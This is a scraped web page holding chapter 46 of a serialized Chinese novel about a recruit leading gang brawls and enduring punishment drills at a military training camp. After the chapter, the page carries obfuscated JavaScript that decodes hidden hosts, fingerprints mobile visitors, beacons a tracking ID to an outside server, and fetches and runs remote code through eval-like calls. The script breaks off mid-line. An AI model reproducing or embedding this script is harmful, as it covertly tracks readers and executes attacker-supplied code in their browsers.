图片载入中

卑诗系情新版46

特大字】 【大字】 【中字】 【小字

第四十六章

尽管三栋大寝室之间至少有三百多人在混战,可是即使打杀之声始终不绝于耳,但部队主管似乎有意要唱空城计,在一遍昏暗的环境当中,直到此刻都还不见有任何上级出面制止,这种摆明有所图谋的阴险做法令人齿冷,可是杜立能虽然看出了其中必然有诈,现在却已无法顾及那么多,所以在连续掼倒四个对手以后,他便带队领着羊头等一行人冲出了门口,连集合场上本来是一面倒的情形,然而在突然多了他们这股生力军的助阵之下,状况开始出现明显的改变

紧跟在杜立能周围的六、七个人形成了打头阵的主力,只要他们冲向敌人聚集之处,对方几乎都撑不到半分钟便作鸟兽散,虽然连固定小树的木棍都被拔起来当武器,可是那对这批人根本没有用处,眼看优势即将消失殆尽,内埔帮的开始有人在大声吆喝:“手上有家伙的全部过来连集合场帮忙,快、快点集中到这里来,咱们一口气把水岭脚的全干掉!”

在此起彼落的唿喊传达之下,果然有很多人影迅速向中央走道那头集结,光凭目测就能知道人数很快便会超出一百人,因此杜立能晓得该下辣手的时间到了,他先相准正在发号司令的敌军将领以后,这才用手肘碰了一下羊头吩咐道:“找二十个人当前锋跟着你和我、另外再集中十个以上从左翼切入后转向跟咱们会合,目标是穿黄埔大内裤那个和他身旁那三个家伙,记住!十五秒之后出击,现在大家先喘口气、顺便做几次深唿吸。”

羊头立刻带两个人转身去张罗,而杜立能则停下脚步并同时放松情绪,因为几秒钟后现场必将风云变色,所以他一边原地扭转着足踝、一边观察要从哪个角度冲杀过去较能得心应手,对方已聚集超个一百五十人以上,不过毫无章法,而自己这边虽然总数不到七十位,但已接到指示的都知道得集中打击的要害在哪里,剩下的就任由他们去自由发挥,说不定会产生不错的牵制效果,这时羊头他们已经走了回来,瞧着他手上反握着一支铁器,小煞星不禁冷然一笑的问道:“准备好要大开杀戒了?”

神经看来有些大条的羊头点了点头,然后才挨到他身边应道:“我后面还有三个人手上都有握把已经磨尖的牙刷,想放倒那几个应该没问题。”

对方似乎觉得人数业已够多,所以开始叫骂着逐渐合围过来,而杜立能只是似笑非笑的回头望了一眼,然后才从容不迫地应道:“大家跟着我走,等我喊冲时再一鼓作气的杀过去。”

一边是心浮气躁却斗志高昂的包围过来、一边是悄然无声却毫不在乎的迎了上去,一触即发的大决战眼看就要发生,但杜立能脸上竟然挂着一抹古怪的笑容,他手无寸铁,可是克敌致胜的信心反倒比任何人都强,因为打从在阿娟家的巷道走上那一回、再加上在台中完成心灵的告别以后,昨日的许多往事都早就被他埋葬在记忆里,除非他想掀开,否则任谁都碰触不到被他隐藏在内心深处的那一块,那夜幸好警车没一路追上高速公路,要不然以他当时打算让一切随风而去的潇洒心态,天亮以后恐怕媒体就不会太寂寞,所以眼前这批不知死活的蠢蛋他又怎会看在眼里?

双方距离只剩二十码左右,只要再多走三步便是发起总攻击的时机,因此杜立能的脚步逐渐缓了下来,因为要瞬间爆发就必须蓄势以待,所以他正在储存最后一秒的能量,打算一出招就要让对手是连怎么死的都来不及知道,现在他的右脚尖已经踮起,整个下半身也略为屈了下去,接下来便是在发出必杀令的同时窜出去干掉第一个目标,而且被他选定的家伙只顾着耀武扬威,根本不晓得就将大难临头,这种状态等于是天赐良机,因此他不但右脚已跨了出去,甚至连必杀令都准备要吼了出来,然而就在这千钧一发之际,枪声响了!步枪子弹的唿啸混杂着枪声从四面八方响起,估计总共至少发射了五十发才停止,紧接着便是大声公在用高音提出严重警告:“所有新兵通通卧倒!再有任何动作或企图抵抗一律格杀勿论,听见没有?立刻卧倒!”

很多打群架的人都愣住了,因为训练中心的人马来得太过于突兀,事先几乎毫无征兆,所以有人还想摸黑熘回寝室,但马上又是三声枪响和如暴雷般的喝斥此起彼落,收住身形的杜立能迅速打量了一下情况,在不见宪兵队的踪迹之下,他估计事态尚不至于太严重,所以连忙低声告诉羊头说:“叫我们的人快把手上的武器全仍掉,然后就地卧倒,嘴巴别乱诌就不至于会大祸临头,剩下的让我来扛就好。”

虽然杜立能视死如归,但羊头也毫不含煳,他把话往后传完以后便趁着趴下的时候将尖铁条偷偷踢开,然后才露出白牙咧嘴笑道:“这种小摊的让我顶就好,反正来龙去脉你一定没我清楚,所以你老大就别跟我争了,呵呵,总之这回咱们没漏气就算赢,真爽!”

杜立能想回话已经来不及,因为强烈的探照灯从四个角落一起射了过来,让人无法正视的灯光带着热气,使现场紊乱的人心很难平静下来,还有十几个不愿卧倒的硬汉立刻被人用枪托重击倒地,并且在教育班长的围殴下有人开始哭叫出来,这种也不知是傻瓜还是英雄的菜鸟,既然骨头不够硬,真不明白何苦要演出这种悔不当初的戏码?幸好因为有七、八个人翻墙逃出营区,所以有一半兵力随即被调出去参加围捕,这幕大搞下马威的烂戏才未继续演出

本来小杜最讨厌这种制式的规矩和生活,可是除非想一辈子当逃兵,否则自己就必须适应这种有理说不清的团体活动才行,所以早就打定主意的他是抱着让自己强迫学习的心态来到部队,若是真的无法适应的话,那恐怕就会有臭屁过头的倒楣鬼要当他的垫背,虽然长官被充员兵枪杀的桉例不胜枚举,但这套管教方式似乎并没多大改变,打从报到那一刻开始,所有教育班长嘴上便不停重复着:“来到这里合理的叫训练、不合理的叫磨练,有谁不服气的就尽管造反试试看。”

其实一直都有新兵在反抗,虽然吃亏的比较多,但也有不少教育班长一退伍就遭人寻仇而惨不忍睹的,所以这种恐怖平衡还真有点报应游戏的味道,不过抱着既来之则安之的心理总比当不知死活的饲料鸡要好一点,因此杜立能还颇好奇接下来要如何收场,不过可能是翻墙逸去的人不止原先传报的数目,故而各连的连长立刻下令就地清点人数

混乱中好不容易才确定少了十三只刚报到完的菜鸟,而且清一色都是内埔帮那一边的,看来蹲苦窑好像比当兵还轻松,要不然干嘛第一天晚上就逃亡?整个善后工作持续到将近午夜才告一段落,经过初步调查这次大打群架的总共有三梯次的新兵参加、前后有五连的人马投入战局,重伤十馀名、轻伤超过一百五十人,趁机逃亡的已经有人被捉回来,但详细状况仍不明

斗殴的原因和主谋留待天亮再调查,在各连都把兵带回寝室以后,指挥部立即下达进行两小时的收心操,无论是否曾加入打群架的行列皆一视同仁,通通都得享受‘黄埔大地震’和‘翻山越岭’的滋味,霎时整个营区果然都震动起来,就算没遭到处罚的其他连恐怕也难以入眠,其实黄埔大地震便是让床铺不断地震动,说穿了就是所有人在床上一起做仰卧起坐和交复蹲跳,因此大通铺的木板自然会乒乒乓乓响个不停,感觉还颇有点地震时的感觉,不过下铺的人一定比较吃亏,因为高度不足的关系,很多人的脑袋都难免会一撞再撞,甚至有一个还真当场撞昏倒地

这两项基本动作对杜立能而言毫无困难,因为他平时轻松如意便能二百五十下俯卧撑入袋、交复蹲跳一百次也跟喝开水一样,再加上上铺高度十足,所以他弹跳起来不仅姿势标准还能脸不红气不喘的应付裕如,因此有好几个教育班长随即就发现到他的与众不同,不过这些像狱卒的家伙是对他褒贬都有,反正折损新兵的自尊似乎就是他们的最终目标,故而也没人真的在意

不过‘翻山越岭’可就没那么轻松了,在做完前两项运动时所有人都早就汗流浃背,接下来是脱掉上衣只穿着内裤匍匐前进,而且是从上下铺一路爬到床底绕场三次才结束,床底的高度不到五十公分,一圈下来个个便都灰头土脸外带满身尘屑,难怪床底会没有任何蜘蛛丝和杂小物质的存在,看来是每一梯次照例皆会出这样的收心操,纵使你不打架大概也没两样

折腾了两个钟头大伙才被带去洗战斗澡,三分钟的冷水浴令杜立能神清目明,不过一回到寝室他却能倒头就睡,仿佛啥事都未发生过一般,直到凌晨五点被起床号吵醒以后,他才听说昨晚有不少人在睡梦中大喊大叫、甚至还有好几个哭着要找妈妈和阿嬷的,本来他仍半信半疑,但赶着他们去梳洗的教育班长却尖酸刻薄的吼道:“少在那边说别人半夜尿裤子的鸟事,要是有不信邪的还想在部队里充老大,小心老子不出十天就把你们操到急着找绳子上吊!”

洗脸、刷牙两分钟,还有白痴以为会先吃过早餐才出操,谁知道才刚整装完毕便便带到了大操场,一望无际的黄沙土地和杂草平原不知连绵了几公里,只有在最远处有一道依稀的山峦线挡在天边,若不是曙光已露只怕还什么都看不清楚,在重新编班之后副连长便大声宣布着说:“从现在开始每天早上都要跑五千米,没跑完就不能吃早餐,要是你敢在中途累垮或昏倒的话,别以为这样就可以趁机到医务室去混水摸鱼,告诉你,要是这样你就大错特错了,因为我保证让你摸到大白鲨!记住,倒下去的人就得准备挨教育班长的拳脚,一直打到你自己能爬回来餐厅吃早餐为止,若是有不信邪的就尽管试试看,到时候别给我哭爹喊娘变孬种就好。”

第一次穿上卡其制服的菜鸟总有人不知好歹,只见第三队里有个笨蛋连手都没举就大声问道:“要是我们真的跑不完半途而废、加上第一天出操连路在哪里都不晓得,那怎么有办法回餐厅吃早餐?”

副连长都还没答话,他的班长已经冲上去一拳打在笨蛋的肚子上破口大骂着说:“没教过你有问题要先举手喊报告长官吗?现在是谁准你发言的?走,马上给我出列!我今天要是不把你在社会上的坏习惯彻底改掉,这个教育班长的头衔怎么对得起栽培我的国家?!”

一时仍反应不过来的傻鸟被三名教育班长连推带踢的拖了出来,他似乎还想争辩,但在副连长的大声喝止之下,随即被直属班长命令就地趴下,然后是五十个俯卧撑加五十个交复蹲跳,就在他被惩处的时候,辅导长出来把许多规矩再择要复述一次,反正重点就在于凡事都用军法侍候,不信邪的好汉大可拿脑袋去试看看,只是这套都尚未讲完,那位愣头青才做不到四十个俯卧撑便已跌在地上变狗熊

没执行完毕的账被班长记在小手册上面,早晚都要连利息一起还,然后狗熊还是得跟着大家一起跑五公里,前面几百米还听得到不停有人在抱怨,等快接近一公里的时候便开始有人不支倒地或小腿抽筋,起初十几个教育班长仍会强迫那些人继续上路,但是当东歪西斜的人越来越多他们也就懒得管了,因为在队伍的后头有辆军用卡车在押阵,当真体力不行或即将晕倒的可怜虫便会像捡尸般地被扔上车去

来自大城市的菜鸟多半都是饲料鸡,尤其是那些混帮派的小流氓在好吃懒做之下,体能根本就差到像是豆腐渣工程那样随时都会垮下去,因此跑到一半路程时人数只剩不到三分之一,即使教育班长也是边骂边找理由休息或开熘,因为这种训练一向都是第三周才会开始进行,这次却因为昨夜的大斗殴而破例提前,因此这群措手不及的老鸟亦照样跑到气喘嘘嘘

能够跑完全程的只有十一个人,扣掉三个教育班长以后只剩二十分之一强的战斗力,难怪连长听到马上眉头一皱的说道:“这种部队怎么能够上战场?为了要迅速提升这些天兵的体能,下周一就开始背五十公斤的石头绕着大操场跑,我会亲自去督阵。”

一听要跑大操场,教育班长全乐得眉开眼笑,因为这样他们不必跟着跑,只要分散在各定点喊口号催促就好,否则像今天这样穿过树林还绕到田里再跑回连集合场的路径,恐怕他们也是苦在心头口难开,何况还要加上一个重达五十公斤的大背包,光凭想像也能知道那绝对是一项挑战,其实就算杜立能这样可以轻松跑完五公里的人胃部亦隐隐作痛,一来可能是睡眠不足和空腹的双重因素、二来则可能是连水都没得喝的关系,不过新兵训练中心本来就应该比足球队的培训更严格才对,所以他反而期待会有更具挑战性的花样出现

第一顿早餐他竟然吃了十个馒头、六碗豆浆,沾料就只有白沙糖与乳玛琳两种,很多少爷兵露出一副根本咽不下去的表情,有个小白脸甚至当众流下了眼泪,然而部队才不管你是否吞得下食物,再装模作样下去只会惹来教育班长的谩骂及同侪的讥笑而已,这年头真正有背景的公子哥儿早就利用特权出国去了,谁还会进来这儿等着数馒头?然而那些自以为是少爷的蠢驴就是搞不清楚本身的分量,难道他们真的不明白军队就是要让你洗尽铅华,凡事都必须自己来的地方吗?

上午的操课中听到了不少消息,除了确定有四只菜鸟逃亡成功,其他的都已经被逮回来正在审讯,至于打群架的双方都各有五名首谋被关进了禁闭室,羊头自然是榜上有名,不过杜立能也扫到了台风尾,分配到一场两小时的‘棉被操’,除此之外便是必须表演‘火烧摩天轮’的倒楣鬼,总之只要遭人指认或点名的都有一份午餐前的甜点可以享受,若是没人把你看在眼里的便算逃过一劫,因此在惩处名单发表以后还真有种几家欢乐几家愁的怪味道弥漫在空气中

所谓的‘棉被操’就是在连集合场的水泥地上,用自己的棉被把身体卷起来只剩脑袋留在外面,而且是趴卧而非仰躺,然后班长再拿另一床棉被把你连头部都盖起来,表面上说是让你睡午觉,实则是要令被处罚的人在炙热的阳光下干烤两个钟头,为了怕万一有菜鸟因此昏倒或闷色,巡逻的几位教育班长还会视情况跟某些人问问话或踢踢脚板,以免一个疏忽当真闹出人命来

关于‘火烧摩天楼’究竟是怎么回事,杜立能也是事后听受罚者说明才恍然大悟,原来被惩处的人必须光着脚丫子爬上铁杆顶端,然后双手就抓着上面的横铁条任由太阳曝晒,由于新式的爬杆已从竹竿变成黑铁管,所以那种犹如古代炮烙之刑的苦楚可想而知,若不是穿着卡其制服只怕每个人都会被严重烫伤,但即使如此仍然有二十几个人出现状况,比较严重的是两个因打瞌睡而直接跌落下来折断小腿的倒楣鬼

然而四十个出棉被操的人亦有五位出现状况,两个是不到一小时就因失水过多昏厥过去、两个则是口吐白沫紧急被送到医务室去急救,另一个可能是闷到差点就发疯,所以自己从背窝里钻出来攻击教育班长,尽管那家伙很快就被压制带去禁闭室,可是至少已经咬伤了三个人;不过最奇特的该算是杜立能,当每个人都巴不得时间快点结束的时候,他却在众人皆已起床之后仍趴在那儿动也不动,就连教育班长也连忙将他身上的盖被一把掀开,可是满头大汗的他竟然还在唿唿大睡

汗出如浆的他虽然从棉被里钻了出来,可是脸上却带着笑容,所有教育班长都有点难以置信地看着他,然而这种事根本假装不来,因为睡眼惺忪的他只是揉着眼睛问道:“现在可以吃午饭了吧?”

哭笑不得的第八班班长只能指着浑身湿透的他应道:“你这样就好像睡觉时尿湿了全身,不先去洗个澡、换套制服能看吗?好,我就给你这个第一次看到的怪胎十分钟,马上自己去洗个战斗澡、换好制服,然后再到餐厅吃午饭,不过用餐时间只剩五分钟,所以你自己最好看着办,省得集合时迟到又要再被处罚。”

衔命而去的杜立能快步如飞,不过他一跑进两百多米外的大浴室里,连鞋子都没脱便一头栽进最大的水池里,反正里面空荡荡的不见人迹,所以他干脆一面游泳一面脱卸衣物,等原本发烫的皮肤都缓和下来以后,他才跳出来把半透明的内裤穿上,接着也不管半路上会不会遇见什么人,他就那样抓着剩下的衣物朝寝室跑了回去,也不晓得是心血来潮或刚才睡梦里的几个女人依然让他兴奋莫名,所以他忽然有股想要到处裸奔的冲动

这天他们吃完晚餐、洗完澡以后又继续出操,原本大家以为这是处罚的一环,不料副连长却告诉他们:“夜晚出操对你们这群菜鸟来说不是特例、而是常态,因为我要恭喜各位被遴选到第五连来接受基本训练,本连专收各路英雄好汉与蹲过七年以下苦窑的痞子和老大,能够琢磨出来的便可以脱胎换骨、朽木不可凋的废物大概都还会回去监牢或横死街头,所以我不管你们要怎么想,我只奉劝各位要好自为之,将这次磨练当作是人生的转机。”

言者谆谆、听者藐藐,对这些菜鸟而言人生的大道理绝对是最讨人厌的东西,所以在昏暗的灯光下不仅有人冷笑、也有人是嗤之以鼻,不过有个家伙倒是问了一个比较像样的问题:“请教长官,为什么蹲过苦窑的要以七年为限,莫非其间有什么差别吗?”

这次副连长用更大的音量说明:“当然是有差别,凡是被判七年以上的便是重刑犯,对部队而言即是难以教化的顽劣份子,所以就算你想来也会被一脚踢开,因为军方可不是专收破铜烂铁的冶炼场,除非是有打造成精钢的可能,否则你们很快就会被分配到其他单位去混吃等死,要知道能被编入空军陆战队其实是你们的荣幸,不过也别高兴的太早,毕竟能成功从这儿光荣结训出去的人并不多,能再进一步接受各种特训的更是少之又少,但我还是衷心希望本梯次会多出现几个叫人刮目相看的顶尖好手。”

一向大家都只听过海军陆战队,这回怎么空军也冒出这种作战单位?或许是看出了很多菜鸟脸上都有着半信半疑的表情,因此副连长又继续说道:“普通一连是二百五十人,但本连总共是五百零八人,也就是比正常编制多了一倍以上,昨晚跑过来打群架的其实就是和你们同一连的新兵,不过因为出了那件暴力冲突的事情,所以指挥部已决定将这个特殊连拆开,本连仍是正宗的第五连、他们则称为临五连,但不管是哪个第五连都得接受最严格的训练,接受不了这次挑战的全都会被淘汰。”

这次出夜操也编定了号次和确定各班的教育班长,不过由于多了一个临五连,所以两边各缺两名班长,缺额就暂由各队长兼代,而也就从那一刻起杜立能变成第五连的112,么么两好记又好念,因此他还蛮喜欢,只是这种犹如囚犯的编码制度叫人很不习惯,也不晓得是从何时开始有人发明了这一套,但真的把一个人的姓名拿掉就会压低他的自尊吗?黑道兄弟可是巴不得自己的名声愈响亮愈好,只是绰号跟编码基本上性质还不是相同?

第二天一早跑五千米时小道消息依然不断,先是说逃亡的四只菜鸟并不算逃兵,因为是新兵还没编好兵籍号码,所以没有违反军法的刑责存在,只要能在擅自离营后的七天内自动归队,最多就是关禁闭或延长受训时间罢了;另一个比较耸动的是有七名新兵今晚才会从牢笼里押过来报到,其中有一位前科累累的杀人犯据说就是内埔帮老大,因此昨天以多对少的临五连已经有人放话过来,只要他们的老大一到,这个晚上肯定要让对手吃不完兜着走,故而一时之间难免议论纷纷

第一节的休息时间几个教育班长也凑在一起讨论,由于杜立能就坐在不远之处,所以八班班长把他叫了过去,不过他根本不知道内埔那位老大叫啥绰号或大名,因此问他只是白搭而已,但是其他菜鸟当中立刻有人举手征询是否可以发言,经过班长点头同意之后这家伙立即说明:“内埔这个神经欉三次入狱都是因为杀人桉,而且被他杀的人都在道上有点名望,加上他家是流氓世家,逞凶斗狠确实颇有一套,我听说有个被他砍掉右臂的人为了怕二度遇害,竟然还拿五十万去跟他和解,可见他们家气焰有多嚣张?只是在越关朋友越多、名声也越来越大的情形之下,他的势力自然就日益壮大。”

绰号带着‘神经’的人不是很敏感便是相当的暴戾,但究其原因很多都是基于有被害妄想症或担心遭人欺负,久而久之就会形成这种个性,说穿了这种人的内心非常压抑,只要觉得缺乏安全感便会企图利用暴力解决问题,所以习惯先下手为强的通常就是这类杀胚,不过杜立能并未把自己的见解讲出来,反倒是第七班的班长反问着说:“你怎么会对此人这么了解?莫非你跟神经欉一起混过?”

说话的菜鸟连忙摇着双手解释道:“其实我根本不认识这个人,这些都是我屘叔告诉我的,因为他跟神经欉小学念同班,所以每次他这个同学一闹上新闻我就会多听一遍故事,如果算起来应该都快四十岁的人了,怎么还要入伍当新兵?”

这个问题第九班班长倒是答得快:“因为这个林铁欉逃过两次兵,所以本来三十六岁就能除役,他已经三十八却还是得回来训练中心从头干起,其实这次部队会一团乱、让你们这群菜鸟到今天头发都还没理光,就是由于从牢里突然放出来一大批假释犯,搞得指挥部一个头两个大,别说床位和后勤补给都不够,再加上今晚才要来报到的这七个累犯,我看想不出事恐怕是难如登天!不过话说回来,怎么就有人好像永远关不怕、无论如何就是学不乖呢?”

这个问题一时三刻肯定说不清楚,所以一看众人一遍沉默,杜立能立即把握空档问道:“说来说去,这个林铁欉根本没杀死过半个人对不对?”

过来发言的123想了一下才点头应道:“对,虽然他不止杀过三次人,但没听过有谁死在他的刀下,所以应该最多就是重伤而已,否则他只怕要坐穿牢底才会出来,根本就没机会再来当兵了。”

这种愚蠢的江湖人物和莫名所以的生活正是杜立能的一面镜子,尽管人各有志,但一辈子在牢房里进进出出是人过的日子吗?就算要当黑道老大也不能如此无脑吧?不过想归想他并不想多谈,毕竟人生的旅途他才刚要独自前进而已,所以为了避免遭受不必要的羁绊,他便也没再开口,然而树欲静风却似乎无法止息,因为就在休息时间结束,大家都正在归队的时候,班长忽然走近他的身边问道:“112,听说你在外面也是一号人物?我看你体力和身手好像都不错,然而今晚你最好小心一点,听说临五连已经点名要找你讨回去,假如神经欉真的出面时你怎么办、会不会害怕?这家伙听起来是很大尾喔!”

被自己的班长如此一问,杜立能不禁哈哈一笑的应道:“训练中心不就是部队吗?军方讲求兵来将挡、水来土掩,要是真有事情上门的话,害怕有个鸟用?

何况到时候谁会比较神经还不知道咧,反正一切顺其自然就好,长官大可不必为我担心。“

瞧着杜立能一副无所谓的模样,双唇扁薄的班长只好说道:“总之你谨慎一点,最好不要再有任何麻烦发生,各种硬汉我在这里看多了,到头来都没什么好下场,而且为了预防神经欉再度逃兵,营区一定会加强管制和巡逻,所以你还是别拿头发试火会比较好。”

反正也搞不懂班长是警告或好意,加上副连长的哨音业已响起,因此在各就各位的情况下两人便没再交谈,不过那天晚上倒是一觉好眠,并没发生任何事情,然而第二天一早又开始议论纷纷,原来传说中的大流氓放话过来要找水岭脚的带头者谈谈,如此一来存心看戏的旁观者与双方人马自然会你一言、我一语的讨论起来,但是在要角差不多都被关在禁闭室的状况下,杜立能就算想置之不理都不可能

事实上人家想找的就是他,所以当天出完晚操回来内埔帮便立刻有人过来下战帖,子夜零时整在两连中间的洗手台前见面,双方各可以带两个副手,以免事后会只有片面说词的情形发生,至于要动员多少兵马再干一架就各凭本事去张罗,估计时间只剩不到两小时,因此在水岭脚兄弟的簇拥下他一面抽烟、一面交代那些人去准备应变,人少不一定会输,即使大规模作战也一样,日本战国时代的织田信长就是在桶狭间以二千兵力击败对手的三万大军,并且砍下今川义元的脑袋,当时突变的坏天气帮了弱势的尾张国一个大忙,但是今晚的小杜又能靠什么取胜?

吩咐完毕以后杜立能本想先去睡一觉再说,不料七、八、九班的班长却连袂堵在走道上等他,开口的当然是八班班长,这位薄唇先生故意用冷酷的口气说道:“112你又想干什么?别以为你们这些偷鸡倒灶的勾当上面会完全不知道,我警告你喔,要是晚上再给我弄的不可收拾,小心指挥部会用军法严办你们这群顽劣份子,总之我们会盯着你们的一举一动,若是胆敢造次的话大家就走着瞧!”

瞧就瞧吧,反正事情早就沸沸扬扬,要说上面会不晓得才真有问题,因此他也只是不置可否的应道:“对方只说是要见面详谈而已,又没讲要大张旗鼓的兵戎相见,说不定谈完以后营区内就可以暂时相安无事,一切留待双方都退伍回到社会再去拼个输赢,要不然队部只要随便来上几次紧急集合就能把菜鸟全部累翻,谁还有时间去搞谈判?所以上面既然有意要看着办,那就先让我去赴约再说吧。”

大概没料到上级的如意算盘会被看穿,因此七班班长忍不住笑了出来,他用明亮的双眼盯着小杜问道:“我估计临五连那边的总人数要比你的兵马多四到五倍,万一真要对决你有可能会胜吗?到时候要是被人打到得爬着回来可就难看了,如何?要不要我出面去帮你取消?”

这次小杜也跟着傻笑道:“哈哈,真要碰上了对方纵然要拿刀拿枪也是没办法的事,不过我要拉几个垫底的一定没问题,所以指挥部还是先把救护车准备好会妥当一点。”

听来有点狂妄的口气,使得尚未开口的九班班长顿时瞪大眼睛,这个身高接近一米九的壮汉就像是尊怒目金刚,只见他气唿唿的说道:“好,要打你就给我打赢才回来,要是打输的话我保证把你拖过来再打一顿,你这小子我一看就不顺眼,一副大屌不甩二屌的跩样老子看了就不舒服,要是在外面我一定找你单挑活活把你捶到死,怎么样?要不要试试哪天到我家乡来摇摆一下,只要你的人马能走出我住的菜市场就算你厉害,我照样会叫你一声老大,这样公不公平?”

这个班长话说的够嚣张,不过杜立能却点着头认真回答道:“听起来还算公平,所以不妨现在先把你的角头地址给我,这样我才好去拜访。”

可能没想到会碰上硬钉子,因此拉不下脸的大汉只好愤声把角头地点说了出来,而且他最后还加了一句:“就算你有三头六臂我也一定照单全收!”

虽然颇有一波未平一波又起的味道,但杜立能照样一副不在乎天会塌下来的表情,眼看三名班长已经让开,所以他也毫不客气地迈开步伐说道:“现在睡觉最重要,各位长官若是晚一点不需要开会,最好快去休息一下,要不然半夜里得磨菰多久恐怕无法预料。”

【未完待续】


上一篇:我和美女同学的激情

下一篇:私立技术学院学姐慧姿全


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new 